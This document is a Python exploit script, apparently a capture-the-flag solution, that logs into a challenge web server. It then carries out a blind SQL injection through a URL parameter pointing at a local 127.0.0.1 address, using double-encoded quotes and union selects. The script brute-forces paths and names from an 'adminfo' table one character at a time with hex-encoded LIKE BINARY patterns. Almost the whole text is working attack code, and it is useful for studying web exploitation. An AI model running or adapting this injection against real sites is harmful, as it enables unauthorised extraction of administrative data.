1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| import requests import string import binascii
banner=""".__ __ .__ | |__ _____ ____ | | _|__| ____ ____ | | \\__ \ _/ ___\| |/ / |/ \ / ___\ | Y \/ __ \\ \___| <| | | \/ /_/ > |___| (____ /\___ >__|_ \__|___| /\___ / \/ \/ \/ \/ \//_____/"""
url = "http://web.challenge.bi0s.in:6007/dev_test" login_url = "http://web.challenge.bi0s.in:6007/login" proxy = {"http":"127.0.0.1:1087"} session = requests.Session() def login(): data = {"username":"s1mple","password":"s1mple","submit":"Login"} res = session.post(login_url,data=data,proxies=proxy) print(res) login()
def test(): postData = "%68%74%74%70%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31/?part1=%252527&part2=path,name from adminfo where path regexp binary 0x5e6e union select 1" data = {"url":postData} res = session.post(url=url,data=data,proxies=proxy) print(res.content)
def sql(): flag=b'' test_String = string.printable print(banner+'by-s1mple') for k in range(1,10): for i in test_String: i = bytes(i,encoding='utf-8') l = str(binascii.b2a_hex(flag),encoding='utf-8') o = str(binascii.b2a_hex(i),encoding='utf-8') inject = str('0x'+l+o+'25') postData = "%68%74%74%70%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31/?part1=%252527&part2=path,name from adminfo where path like binary {} union select 1".format(inject) data = {"url": postData} res = session.post(url=url, data=data, proxies=proxy) content = res.content if b'Not' in content: print("it's the result:",i) flag=flag+i print("the_path_is:",flag) break else: continue
def Inject(): flag=b'' test_String = string.printable print(banner+'by-s1mple') for k in range(1,10): for i in test_String: i = bytes(i,encoding='utf-8') l = str(binascii.b2a_hex(flag),encoding='utf-8') o = str(binascii.b2a_hex(i),encoding='utf-8') inject = str('0x'+l+o+'25') print("inject=",inject) postData = "%68%74%74%70%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31/?part1=%252527&part2=path,name from adminfo where name like binary 0x416425 and path like binary {} union select 1".format(inject) data = {"url": postData} res = session.post(url=url, data=data, proxies=proxy) content = res.content if b'Not' in content: print("it's the result:",i) flag=flag+i print("the_path_is:",flag) break
else: continue Inject()
|